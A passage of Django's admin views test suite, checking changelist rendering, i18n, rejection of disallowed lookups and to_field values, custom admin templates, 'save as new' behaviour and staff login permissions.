        self.assertContains(response, '<a href="%s">' % reverse('admin:logout'))
        self.assertContains(response, '<a href="%s">' % reverse('admin:password_change'))

    def test_named_group_field_choices_change_list(self):
        """
        Ensures the admin changelist shows correct values in the relevant column
        for rows corresponding to instances of a model in which a named group
        has been used in the choices option of a field.
        """
        link1 = reverse('admin:admin_views_fabric_change', args=(self.fab1.pk,))
        link2 = reverse('admin:admin_views_fabric_change', args=(self.fab2.pk,))
        response = self.client.get(reverse('admin:admin_views_fabric_changelist'))
        fail_msg = (
            "Changelist table isn't showing the right human-readable values "
            "set by a model field 'choices' option named group."
        )
        self.assertContains(response, '<a href="%s">Horizontal</a>' % link1, msg_prefix=fail_msg, html=True)
        self.assertContains(response, '<a href="%s">Vertical</a>' % link2, msg_prefix=fail_msg, html=True)

    def test_named_group_field_choices_filter(self):
        """
        Ensures the filter UI shows correctly when at least one named group has
        been used in the choices option of a model field.
        """
        response = self.client.get(reverse('admin:admin_views_fabric_changelist'))
        fail_msg = (
            "Changelist filter isn't showing options contained inside a model "
            "field 'choices' option named group."
        )
        self.assertContains(response, '<div id="changelist-filter">')
        self.assertContains(
            response, '<a href="?surface__exact=x" title="Horizontal">Horizontal</a>',
            msg_prefix=fail_msg, html=True
        )
        self.assertContains(
            response, '<a href="?surface__exact=y" title="Vertical">Vertical</a>',
            msg_prefix=fail_msg, html=True
        )

    def test_change_list_null_boolean_display(self):
        Post.objects.create(public=None)
        response = self.client.get(reverse('admin:admin_views_post_changelist'))
        self.assertContains(response, 'icon-unknown.svg')

    def test_i18n_language_non_english_default(self):
        """
        Check if the JavaScript i18n view returns an empty language catalog
        if the default language is non-English but the selected language
        is English. See #13388 and #3594 for more details.
        """
        with self.settings(LANGUAGE_CODE='fr'), translation.override('en-us'):
            response = self.client.get(reverse('admin:jsi18n'))
            self.assertNotContains(response, 'Choisir une heure')

    def test_i18n_language_non_english_fallback(self):
        """
        Makes sure that the fallback language is still working properly
        in cases where the selected language cannot be found.
        """
        with self.settings(LANGUAGE_CODE='fr'), translation.override('none'):
            response = self.client.get(reverse('admin:jsi18n'))
            self.assertContains(response, 'Choisir une heure')

    def test_jsi18n_with_context(self):
        response = self.client.get(reverse('admin-extra-context:jsi18n'))
        self.assertEqual(response.status_code, 200)

    def test_L10N_deactivated(self):
        """
        Check if L10N is deactivated, the JavaScript i18n view doesn't
        return localized date/time formats. Refs #14824.
        """
        with self.settings(LANGUAGE_CODE='ru', USE_L10N=False), translation.override('none'):
            response = self.client.get(reverse('admin:jsi18n'))
            self.assertNotContains(response, '%d.%m.%Y %H:%M:%S')
            self.assertContains(response, '%Y-%m-%d %H:%M:%S')

    def test_disallowed_filtering(self):
        with patch_logger('django.security.DisallowedModelAdminLookup', 'error') as calls:
            response = self.client.get(
                "%s?owner__email__startswith=fuzzy" % reverse('admin:admin_views_album_changelist')
            )
            self.assertEqual(response.status_code, 400)
            self.assertEqual(len(calls), 1)

        # Filters are allowed if explicitly included in list_filter
        response = self.client.get("%s?color__value__startswith=red" % reverse('admin:admin_views_thing_changelist'))
        self.assertEqual(response.status_code, 200)
        response = self.client.get("%s?color__value=red" % reverse('admin:admin_views_thing_changelist'))
        self.assertEqual(response.status_code, 200)

        # Filters should be allowed if they involve a local field without the
        # need to whitelist them in list_filter or date_hierarchy.
        response = self.client.get("%s?age__gt=30" % reverse('admin:admin_views_person_changelist'))
        self.assertEqual(response.status_code, 200)

        e1 = Employee.objects.create(name='Anonymous', gender=1, age=22, alive=True, code='123')
        e2 = Employee.objects.create(name='Visitor', gender=2, age=19, alive=True, code='124')
        WorkHour.objects.create(datum=datetime.datetime.now(), employee=e1)
        WorkHour.objects.create(datum=datetime.datetime.now(), employee=e2)
        response = self.client.get(reverse('admin:admin_views_workhour_changelist'))
        self.assertContains(response, 'employee__person_ptr__exact')
        response = self.client.get("%s?employee__person_ptr__exact=%d" % (
            reverse('admin:admin_views_workhour_changelist'), e1.pk)
        )
        self.assertEqual(response.status_code, 200)

    def test_disallowed_to_field(self):
        with patch_logger('django.security.DisallowedModelAdminToField', 'error') as calls:
            url = reverse('admin:admin_views_section_changelist')
            response = self.client.get(url, {TO_FIELD_VAR: 'missing_field'})
            self.assertEqual(response.status_code, 400)
            self.assertEqual(len(calls), 1)

        # Specifying a field that is not referred by any other model registered
        # to this admin site should raise an exception.
        with patch_logger('django.security.DisallowedModelAdminToField', 'error') as calls:
            response = self.client.get(reverse('admin:admin_views_section_changelist'), {TO_FIELD_VAR: 'name'})
            self.assertEqual(response.status_code, 400)
            self.assertEqual(len(calls), 1)

        # #23839 - Primary key should always be allowed, even if the referenced model isn't registered.
        response = self.client.get(reverse('admin:admin_views_notreferenced_changelist'), {TO_FIELD_VAR: 'id'})
        self.assertEqual(response.status_code, 200)

        # #23915 - Specifying a field referenced by another model though a m2m should be allowed.
        response = self.client.get(reverse('admin:admin_views_recipe_changelist'), {TO_FIELD_VAR: 'rname'})
        self.assertEqual(response.status_code, 200)

        # #23604, #23915 - Specifying a field referenced through a reverse m2m relationship should be allowed.
        response = self.client.get(reverse('admin:admin_views_ingredient_changelist'), {TO_FIELD_VAR: 'iname'})
        self.assertEqual(response.status_code, 200)

        # #23329 - Specifying a field that is not referred by any other model directly registered
        # to this admin site but registered through inheritance should be allowed.
        response = self.client.get(reverse('admin:admin_views_referencedbyparent_changelist'), {TO_FIELD_VAR: 'name'})
        self.assertEqual(response.status_code, 200)

        # #23431 - Specifying a field that is only referred to by a inline of a registered
        # model should be allowed.
        response = self.client.get(reverse('admin:admin_views_referencedbyinline_changelist'), {TO_FIELD_VAR: 'name'})
        self.assertEqual(response.status_code, 200)

        # #25622 - Specifying a field of a model only referred by a generic
        # relation should raise DisallowedModelAdminToField.
        url = reverse('admin:admin_views_referencedbygenrel_changelist')
        with patch_logger('django.security.DisallowedModelAdminToField', 'error') as calls:
            response = self.client.get(url, {TO_FIELD_VAR: 'object_id'})
            self.assertEqual(response.status_code, 400)
            self.assertEqual(len(calls), 1)

        # We also want to prevent the add, change, and delete views from
        # leaking a disallowed field value.
        with patch_logger('django.security.DisallowedModelAdminToField', 'error') as calls:
            response = self.client.post(reverse('admin:admin_views_section_add'), {TO_FIELD_VAR: 'name'})
            self.assertEqual(response.status_code, 400)
            self.assertEqual(len(calls), 1)

        section = Section.objects.create()
        with patch_logger('django.security.DisallowedModelAdminToField', 'error') as calls:
            url = reverse('admin:admin_views_section_change', args=(section.pk,))
            response = self.client.post(url, {TO_FIELD_VAR: 'name'})
            self.assertEqual(response.status_code, 400)
            self.assertEqual(len(calls), 1)

        with patch_logger('django.security.DisallowedModelAdminToField', 'error') as calls:
            url = reverse('admin:admin_views_section_delete', args=(section.pk,))
            response = self.client.post(url, {TO_FIELD_VAR: 'name'})
            self.assertEqual(response.status_code, 400)
            self.assertEqual(len(calls), 1)

    def test_allowed_filtering_15103(self):
        """
        Regressions test for ticket 15103 - filtering on fields defined in a
        ForeignKey 'limit_choices_to' should be allowed, otherwise raw_id_fields
        can break.
        """
        # Filters should be allowed if they are defined on a ForeignKey pointing to this model
        url = "%s?leader__name=Palin&leader__age=27" % reverse('admin:admin_views_inquisition_changelist')
        response = self.client.get(url)
        self.assertEqual(response.status_code, 200)

    def test_popup_dismiss_related(self):
        """
        Regression test for ticket 20664 - ensure the pk is properly quoted.
        """
        actor = Actor.objects.create(name="Palin", age=27)
        response = self.client.get("%s?%s" % (reverse('admin:admin_views_actor_changelist'), IS_POPUP_VAR))
        self.assertContains(response, 'data-popup-opener="%s"' % actor.pk)

    def test_hide_change_password(self):
        """
        Tests if the "change password" link in the admin is hidden if the User
        does not have a usable password set.
        (against 9bea85795705d015cdadc82c68b99196a8554f5c)
        """
        user = User.objects.get(username='super')
        user.set_unusable_password()
        user.save()
        self.client.force_login(user)
        response = self.client.get(reverse('admin:index'))
        self.assertNotContains(
            response, reverse('admin:password_change'),
            msg_prefix='The "change password" link should not be displayed if a user does not have a usable password.'
        )

    def test_change_view_with_show_delete_extra_context(self):
        """
        Ensured that the 'show_delete' context variable in the admin's change
        view actually controls the display of the delete button.
        Refs #10057.
        """
        instance = UndeletableObject.objects.create(name='foo')
        response = self.client.get(reverse('admin:admin_views_undeletableobject_change', args=(instance.pk,)))
        self.assertNotContains(response, 'deletelink')

    def test_allows_attributeerror_to_bubble_up(self):
        """
        Ensure that AttributeErrors are allowed to bubble when raised inside
        a change list view.

        Requires a model to be created so there's something to be displayed

        Refs: #16655, #18593, and #18747
        """
        Simple.objects.create()
        with self.assertRaises(AttributeError):
            self.client.get(reverse('admin:admin_views_simple_changelist'))

    def test_changelist_with_no_change_url(self):
        """
        ModelAdmin.changelist_view shouldn't result in a NoReverseMatch if url
        for change_view is removed from get_urls

        Regression test for #20934
        """
        UnchangeableObject.objects.create()
        response = self.client.get(reverse('admin:admin_views_unchangeableobject_changelist'))
        self.assertEqual(response.status_code, 200)
        # Check the format of the shown object -- shouldn't contain a change link
        self.assertContains(response, '<th class="field-__str__">UnchangeableObject object</th>', html=True)

    def test_invalid_appindex_url(self):
        """
        #21056 -- URL reversing shouldn't work for nonexistent apps.
        """
        good_url = '/test_admin/admin/admin_views/'
        confirm_good_url = reverse('admin:app_list',
                                   kwargs={'app_label': 'admin_views'})
        self.assertEqual(good_url, confirm_good_url)

        with self.assertRaises(NoReverseMatch):
            reverse('admin:app_list', kwargs={'app_label': 'this_should_fail'})
        with self.assertRaises(NoReverseMatch):
            reverse('admin:app_list', args=('admin_views2',))

    def test_resolve_admin_views(self):
        index_match = resolve('/test_admin/admin4/')
        list_match = resolve('/test_admin/admin4/auth/user/')
        self.assertIs(index_match.func.admin_site, customadmin.simple_site)
        self.assertIsInstance(list_match.func.model_admin, customadmin.CustomPwdTemplateUserAdmin)

    def test_adminsite_display_site_url(self):
        """
        #13749 - Admin should display link to front-end site 'View site'
        """
        url = reverse('admin:index')
        response = self.client.get(url)
        self.assertEqual(response.context['site_url'], '/my-site-url/')
        self.assertContains(response, '<a href="/my-site-url/">View site</a>')


@override_settings(TEMPLATES=[{
    'BACKEND': 'django.template.backends.django.DjangoTemplates',
    # Put this app's and the shared tests templates dirs in DIRS to take precedence
    # over the admin's templates dir.
    'DIRS': [
        os.path.join(os.path.dirname(upath(__file__)), 'templates'),
        os.path.join(os.path.dirname(os.path.dirname(upath(__file__))), 'templates'),
    ],
    'APP_DIRS': True,
    'OPTIONS': {
        'context_processors': [
            'django.template.context_processors.debug',
            'django.template.context_processors.request',
            'django.contrib.auth.context_processors.auth',
            'django.contrib.messages.context_processors.messages',
        ],
    },
}])
class AdminCustomTemplateTests(AdminViewBasicTestCase):
    def test_custom_model_admin_templates(self):
        # Test custom change list template with custom extra context
        response = self.client.get(reverse('admin:admin_views_customarticle_changelist'))
        self.assertContains(response, "var hello = 'Hello!';")
        self.assertTemplateUsed(response, 'custom_admin/change_list.html')

        # Test custom add form template
        response = self.client.get(reverse('admin:admin_views_customarticle_add'))
        self.assertTemplateUsed(response, 'custom_admin/add_form.html')

        # Add an article so we can test delete, change, and history views
        post = self.client.post(reverse('admin:admin_views_customarticle_add'), {
            'content': '<p>great article</p>',
            'date_0': '2008-03-18',
            'date_1': '10:54:39'
        })
        self.assertRedirects(post, reverse('admin:admin_views_customarticle_changelist'))
        self.assertEqual(CustomArticle.objects.all().count(), 1)
        article_pk = CustomArticle.objects.all()[0].pk

        # Test custom delete, change, and object history templates
        # Test custom change form template
        response = self.client.get(reverse('admin:admin_views_customarticle_change', args=(article_pk,)))
        self.assertTemplateUsed(response, 'custom_admin/change_form.html')
        response = self.client.get(reverse('admin:admin_views_customarticle_delete', args=(article_pk,)))
        self.assertTemplateUsed(response, 'custom_admin/delete_confirmation.html')
        response = self.client.post(reverse('admin:admin_views_customarticle_changelist'), data={
            'index': 0,
            'action': ['delete_selected'],
            '_selected_action': ['1'],
        })
        self.assertTemplateUsed(response, 'custom_admin/delete_selected_confirmation.html')
        response = self.client.get(reverse('admin:admin_views_customarticle_history', args=(article_pk,)))
        self.assertTemplateUsed(response, 'custom_admin/object_history.html')

    def test_extended_bodyclass_template_change_form(self):
        """
        Ensure that the admin/change_form.html template uses block.super in the
        bodyclass block.
        """
        response = self.client.get(reverse('admin:admin_views_section_add'))
        self.assertContains(response, 'bodyclass_consistency_check ')

    def test_change_password_template(self):
        user = User.objects.get(username='super')
        response = self.client.get(reverse('admin:auth_user_password_change', args=(user.id,)))
        # The auth/user/change_password.html template uses super in the
        # bodyclass block.
        self.assertContains(response, 'bodyclass_consistency_check ')

        # When a site has multiple passwords in the browser's password manager,
        # a browser pop up asks which user the new password is for. To prevent
        # this, the username is added to the change password form.
        self.assertContains(response, '<input type="text" name="username" value="super" style="display: none" />')

    def test_extended_bodyclass_template_index(self):
        """
        Ensure that the admin/index.html template uses block.super in the
        bodyclass block.
        """
        response = self.client.get(reverse('admin:index'))
        self.assertContains(response, 'bodyclass_consistency_check ')

    def test_extended_bodyclass_change_list(self):
        """
        Ensure that the admin/change_list.html' template uses block.super
        in the bodyclass block.
        """
        response = self.client.get(reverse('admin:admin_views_article_changelist'))
        self.assertContains(response, 'bodyclass_consistency_check ')

    def test_extended_bodyclass_template_login(self):
        """
        Ensure that the admin/login.html template uses block.super in the
        bodyclass block.
        """
        self.client.logout()
        response = self.client.get(reverse('admin:login'))
        self.assertContains(response, 'bodyclass_consistency_check ')

    def test_extended_bodyclass_template_delete_confirmation(self):
        """
        Ensure that the admin/delete_confirmation.html template uses
        block.super in the bodyclass block.
        """
        group = Group.objects.create(name="foogroup")
        response = self.client.get(reverse('admin:auth_group_delete', args=(group.id,)))
        self.assertContains(response, 'bodyclass_consistency_check ')

    def test_extended_bodyclass_template_delete_selected_confirmation(self):
        """
        Ensure that the admin/delete_selected_confirmation.html template uses
        block.super in bodyclass block.
        """
        group = Group.objects.create(name="foogroup")
        post_data = {
            'action': 'delete_selected',
            'selected_across': '0',
            'index': '0',
            '_selected_action': group.id
        }
        response = self.client.post(reverse('admin:auth_group_changelist'), post_data)
        self.assertEqual(response.context['site_header'], 'Django administration')
        self.assertContains(response, 'bodyclass_consistency_check ')

    def test_filter_with_custom_template(self):
        """
        Ensure that one can use a custom template to render an admin filter.
        Refs #17515.
        """
        response = self.client.get(reverse('admin:admin_views_color2_changelist'))
        self.assertTemplateUsed(response, 'custom_filter_template.html')


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminViewFormUrlTest(TestCase):
    current_app = "admin3"

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.s1 = Section.objects.create(name='Test section')
        cls.a1 = Article.objects.create(
            content='<p>Middle content</p>', date=datetime.datetime(2008, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a2 = Article.objects.create(
            content='<p>Oldest content</p>', date=datetime.datetime(2000, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a3 = Article.objects.create(
            content='<p>Newest content</p>', date=datetime.datetime(2009, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.p1 = PrePopulatedPost.objects.create(title='A Long Title', published=True, slug='a-long-title')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_change_form_URL_has_correct_value(self):
        """
        Tests whether change_view has form_url in response.context
        """
        response = self.client.get(
            reverse('admin:admin_views_section_change', args=(self.s1.pk,), current_app=self.current_app)
        )
        self.assertIn('form_url', response.context, msg='form_url not present in response.context')
        self.assertEqual(response.context['form_url'], 'pony')

    def test_initial_data_can_be_overridden(self):
        """
        Tests that the behavior for setting initial
        form data can be overridden in the ModelAdmin class.

        Usually, the initial value is set via the GET params.
        """
        response = self.client.get(
            reverse('admin:admin_views_restaurant_add', current_app=self.current_app),
            {'name': 'test_value'}
        )
        # this would be the usual behaviour
        self.assertNotContains(response, 'value="test_value"')
        # this is the overridden behaviour
        self.assertContains(response, 'value="overridden_value"')


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminJavaScriptTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_js_minified_only_if_debug_is_false(self):
        """
        Ensure that the minified versions of the JS files are only used when
        DEBUG is False.
        Refs #17521.
        """
        with override_settings(DEBUG=False):
            response = self.client.get(reverse('admin:admin_views_section_add'))
            self.assertNotContains(response, 'vendor/jquery/jquery.js')
            self.assertContains(response, 'vendor/jquery/jquery.min.js')
            self.assertNotContains(response, 'prepopulate.js')
            self.assertContains(response, 'prepopulate.min.js')
            self.assertNotContains(response, 'actions.js')
            self.assertContains(response, 'actions.min.js')
            self.assertNotContains(response, 'collapse.js')
            self.assertContains(response, 'collapse.min.js')
            self.assertNotContains(response, 'inlines.js')
            self.assertContains(response, 'inlines.min.js')
        with override_settings(DEBUG=True):
            response = self.client.get(reverse('admin:admin_views_section_add'))
            self.assertContains(response, 'vendor/jquery/jquery.js')
            self.assertNotContains(response, 'vendor/jquery/jquery.min.js')
            self.assertContains(response, 'prepopulate.js')
            self.assertNotContains(response, 'prepopulate.min.js')
            self.assertContains(response, 'actions.js')
            self.assertNotContains(response, 'actions.min.js')
            self.assertContains(response, 'collapse.js')
            self.assertNotContains(response, 'collapse.min.js')
            self.assertContains(response, 'inlines.js')
            self.assertNotContains(response, 'inlines.min.js')


@override_settings(ROOT_URLCONF='admin_views.urls')
class SaveAsTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.per1 = Person.objects.create(name='John Mauchly', gender=1, alive=True)

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_save_as_duplication(self):
        """Ensure save as actually creates a new person"""
        post_data = {'_saveasnew': '', 'name': 'John M', 'gender': 1, 'age': 42}
        response = self.client.post(reverse('admin:admin_views_person_change', args=(self.per1.pk,)), post_data)
        self.assertEqual(len(Person.objects.filter(name='John M')), 1)
        self.assertEqual(len(Person.objects.filter(id=self.per1.pk)), 1)
        new_person = Person.objects.latest('id')
        self.assertRedirects(response, reverse('admin:admin_views_person_change', args=(new_person.pk,)))

    def test_save_as_continue_false(self):
        """
        Saving a new object using "Save as new" redirects to the changelist
        instead of the change view when ModelAdmin.save_as_continue=False.
        """
        post_data = {'_saveasnew': '', 'name': 'John M', 'gender': 1, 'age': 42}
        url = reverse('admin:admin_views_person_change', args=(self.per1.pk,), current_app=site2.name)
        response = self.client.post(url, post_data)
        self.assertEqual(len(Person.objects.filter(name='John M')), 1)
        self.assertEqual(len(Person.objects.filter(id=self.per1.pk)), 1)
        self.assertRedirects(response, reverse('admin:admin_views_person_changelist', current_app=site2.name))

    def test_save_as_new_with_validation_errors(self):
        """
        Ensure that when you click "Save as new" and have a validation error,
        you only see the "Save as new" button and not the other save buttons,
        and that only the "Save as" button is visible.
        """
        response = self.client.post(reverse('admin:admin_views_person_change', args=(self.per1.pk,)), {
            '_saveasnew': '',
            'gender': 'invalid',
            '_addanother': 'fail',
        })
        self.assertContains(response, 'Please correct the errors below.')
        self.assertFalse(response.context['show_save_and_add_another'])
        self.assertFalse(response.context['show_save_and_continue'])
        self.assertTrue(response.context['show_save_as_new'])

    def test_save_as_new_with_validation_errors_with_inlines(self):
        parent = Parent.objects.create(name='Father')
        child = Child.objects.create(parent=parent, name='Child')
        response = self.client.post(reverse('admin:admin_views_parent_change', args=(parent.pk,)), {
            '_saveasnew': 'Save as new',
            'child_set-0-parent': parent.pk,
            'child_set-0-id': child.pk,
            'child_set-0-name': 'Child',
            'child_set-INITIAL_FORMS': 1,
            'child_set-MAX_NUM_FORMS': 1000,
            'child_set-MIN_NUM_FORMS': 0,
            'child_set-TOTAL_FORMS': 4,
            'name': '_invalid',
        })
        self.assertContains(response, 'Please correct the error below.')
        self.assertFalse(response.context['show_save_and_add_another'])
        self.assertFalse(response.context['show_save_and_continue'])
        self.assertTrue(response.context['show_save_as_new'])

    def test_save_as_new_with_inlines_with_validation_errors(self):
        parent = Parent.objects.create(name='Father')
        child = Child.objects.create(parent=parent, name='Child')
        response = self.client.post(reverse('admin:admin_views_parent_change', args=(parent.pk,)), {
            '_saveasnew': 'Save as new',
            'child_set-0-parent': parent.pk,
            'child_set-0-id': child.pk,
            'child_set-0-name': '_invalid',
            'child_set-INITIAL_FORMS': 1,
            'child_set-MAX_NUM_FORMS': 1000,
            'child_set-MIN_NUM_FORMS': 0,
            'child_set-TOTAL_FORMS': 4,
            'name': 'Father',
        })
        self.assertContains(response, 'Please correct the error below.')
        self.assertFalse(response.context['show_save_and_add_another'])
        self.assertFalse(response.context['show_save_and_continue'])
        self.assertTrue(response.context['show_save_as_new'])


@override_settings(ROOT_URLCONF='admin_views.urls')
class CustomModelAdminTest(AdminViewBasicTestCase):

    def test_custom_admin_site_login_form(self):
        self.client.logout()
        response = self.client.get(reverse('admin2:index'), follow=True)
        self.assertIsInstance(response, TemplateResponse)
        self.assertEqual(response.status_code, 200)
        login = self.client.post(reverse('admin2:login'), {
            REDIRECT_FIELD_NAME: reverse('admin2:index'),
            'username': 'customform',
            'password': 'secret',
        }, follow=True)
        self.assertIsInstance(login, TemplateResponse)
        self.assertEqual(login.status_code, 200)
        self.assertContains(login, 'custom form error')
        self.assertContains(login, 'path/to/media.css')

    def test_custom_admin_site_login_template(self):
        self.client.logout()
        response = self.client.get(reverse('admin2:index'), follow=True)
        self.assertIsInstance(response, TemplateResponse)
        self.assertTemplateUsed(response, 'custom_admin/login.html')
        self.assertContains(response, 'Hello from a custom login template')

    def test_custom_admin_site_logout_template(self):
        response = self.client.get(reverse('admin2:logout'))
        self.assertIsInstance(response, TemplateResponse)
        self.assertTemplateUsed(response, 'custom_admin/logout.html')
        self.assertContains(response, 'Hello from a custom logout template')

    def test_custom_admin_site_index_view_and_template(self):
        response = self.client.get(reverse('admin2:index'))
        self.assertIsInstance(response, TemplateResponse)
        self.assertTemplateUsed(response, 'custom_admin/index.html')
        self.assertContains(response, 'Hello from a custom index template *bar*')

    def test_custom_admin_site_app_index_view_and_template(self):
        response = self.client.get(reverse('admin2:app_list', args=('admin_views',)))
        self.assertIsInstance(response, TemplateResponse)
        self.assertTemplateUsed(response, 'custom_admin/app_index.html')
        self.assertContains(response, 'Hello from a custom app_index template')

    def test_custom_admin_site_password_change_template(self):
        response = self.client.get(reverse('admin2:password_change'))
        self.assertIsInstance(response, TemplateResponse)
        self.assertTemplateUsed(response, 'custom_admin/password_change_form.html')
        self.assertContains(response, 'Hello from a custom password change form template')

    def test_custom_admin_site_password_change_with_extra_context(self):
        response = self.client.get(reverse('admin2:password_change'))
        self.assertIsInstance(response, TemplateResponse)
        self.assertTemplateUsed(response, 'custom_admin/password_change_form.html')
        self.assertContains(response, 'eggs')

    def test_custom_admin_site_password_change_done_template(self):
        response = self.client.get(reverse('admin2:password_change_done'))
        self.assertIsInstance(response, TemplateResponse)
        self.assertTemplateUsed(response, 'custom_admin/password_change_done.html')
        self.assertContains(response, 'Hello from a custom password change done template')

    def test_custom_admin_site_view(self):
        self.client.force_login(self.superuser)
        response = self.client.get(reverse('admin2:my_view'))
        self.assertEqual(response.content, b"Django is a magical pony!")

    def test_pwd_change_custom_template(self):
        self.client.force_login(self.superuser)
        su = User.objects.get(username='super')
        response = self.client.get(reverse('admin4:auth_user_password_change', args=(su.pk,)))
        self.assertEqual(response.status_code, 200)


def get_perm(Model, perm):
    """Return the permission object, for the Model"""
    ct = ContentType.objects.get_for_model(Model)
    return Permission.objects.get(content_type=ct, codename=perm)


@override_settings(
    ROOT_URLCONF='admin_views.urls',
    # Test with the admin's documented list of required context processors.
    TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    }],
)
class AdminViewPermissionsTest(TestCase):
    """Tests for Admin Views Permissions."""

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.adduser = User.objects.create_user(username='adduser', password='secret', is_staff=True)
        cls.changeuser = User.objects.create_user(username='changeuser', password='secret', is_staff=True)
        cls.deleteuser = User.objects.create_user(username='deleteuser', password='secret', is_staff=True)
        cls.joepublicuser = User.objects.create_user(username='joepublic', password='secret')
        cls.nostaffuser = User.objects.create_user(username='nostaff', password='secret')
        cls.s1 = Section.objects.create(name='Test section')
        cls.a1 = Article.objects.create(
            content='<p>Middle content</p>', date=datetime.datetime(2008, 3, 18, 11, 54, 58), section=cls.s1,
            another_section=cls.s1,
        )
        cls.a2 = Article.objects.create(
            content='<p>Oldest content</p>', date=datetime.datetime(2000, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a3 = Article.objects.create(
            content='<p>Newest content</p>', date=datetime.datetime(2009, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.p1 = PrePopulatedPost.objects.create(title='A Long Title', published=True, slug='a-long-title')

        # Setup permissions, for our users who can add, change, and delete.
        opts = Article._meta

        # User who can add Articles
        cls.adduser.user_permissions.add(get_perm(Article, get_permission_codename('add', opts)))
        # User who can change Articles
        cls.changeuser.user_permissions.add(get_perm(Article, get_permission_codename('change', opts)))
        cls.nostaffuser.user_permissions.add(get_perm(Article, get_permission_codename('change', opts)))

        # User who can delete Articles
        cls.deleteuser.user_permissions.add(get_perm(Article, get_permission_codename('delete', opts)))
        cls.deleteuser.user_permissions.add(get_perm(Section, get_permission_codename('delete', Section._meta)))

        # login POST dicts
        cls.index_url = reverse('admin:index')
        cls.super_login = {
            REDIRECT_FIELD_NAME: cls.index_url,
            'username': 'super',
            'password': 'secret',
        }
        cls.super_email_login = {
            REDIRECT_FIELD_NAME: cls.index_url,
            'username': 'super@example.com',
            'password': 'secret',
        }
        cls.super_email_bad_login = {
            REDIRECT_FIELD_NAME: cls.index_url,
            'username': 'super@example.com',
            'password': 'notsecret',
        }
        cls.adduser_login = {
            REDIRECT_FIELD_NAME: cls.index_url,
            'username': 'adduser',
            'password': 'secret',
        }
        cls.changeuser_login = {
            REDIRECT_FIELD_NAME: cls.index_url,
            'username': 'changeuser',
            'password': 'secret',
        }
        cls.deleteuser_login = {
            REDIRECT_FIELD_NAME: cls.index_url,
            'username': 'deleteuser',
            'password': 'secret',
        }
        cls.nostaff_login = {
            REDIRECT_FIELD_NAME: reverse('has_permission_admin:index'),
            'username': 'nostaff',
            'password': 'secret',
        }
        cls.joepublic_login = {
            REDIRECT_FIELD_NAME: cls.index_url,
            'username': 'joepublic',
            'password': 'secret',
        }
        cls.no_username_login = {
            REDIRECT_FIELD_NAME: cls.index_url,
            'password': 'secret',
        }

    def test_login(self):
        """
        Make sure only staff members can log in.

        Successful posts to the login page will redirect to the original url.
        Unsuccessful attempts will continue to render the login page with
        a 200 status code.
        """
        login_url = '%s?next=%s' % (reverse('admin:login'), reverse('admin:index'))
        # Super User
        response = self.client.get(self.index_url)
        self.assertRedirects(response, login_url)
        login = self.client.post(login_url, self.super_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.get(reverse('admin:logout'))

        # Test if user enters email address
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.super_email_login)
        self.assertContains(login, ERROR_MESSAGE)
        # only correct passwords get a username hint
        login = self.client.post(login_url, self.super_email_bad_login)
        self.assertContains(login, ERROR_MESSAGE)
        new_user = User(username='jondoe', password='secret', email='super@example.com')
        new_user.save()
        # check to ensure if there are multiple email addresses a user doesn't get a 500
        login = self.client.post(login_url, self.super_email_login)
        self.assertContains(login, ERROR_MESSAGE)

        # Add User
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.adduser_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.get(reverse('admin:logout'))

        # Change User
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.changeuser_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.get(reverse('admin:logout'))

        # Delete User
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.deleteuser_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.get(reverse('admin:logout'))

        # Regular User should not be able to login.
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.joepublic_login)
        self.assertEqual(login.status_code, 200)
        self.assertContains(login, ERROR_MESSAGE)

        # Requests without username should not return 500 errors.
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.no_username_login)
        self.assertEqual(login.status_code, 200)
        form = login.context[0].get('form')
        self.assertEqual(form.errors['username'][0], 'This field is required.')

    def test_login_redirect_for_direct_get(self):
        """
        Login redirect should be to the admin index page when going directly to
        /admin/login/.
        """
        response = self.client.get(reverse('admin:login'))
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context[REDIRECT_FIELD_NAME], reverse('admin:index'))

    def test_login_has_permission(self):
        # Regular User should not be able to login.
        response = self.client.get(reverse('has_permission_admin:index'))
        self.assertEqual(response.status_code, 302)
        login = self.client.post(reverse('has_permission_admin:login'), self.joepublic_login)
        self.assertEqual(login.status_code, 200)
        self.assertContains(login, 'permission denied')

        # User with permissions should be able to login.
        response = self.client.get(reverse('has_permission_admin:index'))
        self.assertEqual(response.status_code, 302)
        login = self.client.post(reverse('has_permission_admin:login'), self.nostaff_login)
        self.assertRedirects(login, reverse('has_permission_admin:index'))
        self.assertFalse(login.context)
        self.client.get(reverse('has_permission_admin:logout'))

        # Staff should be able to login.
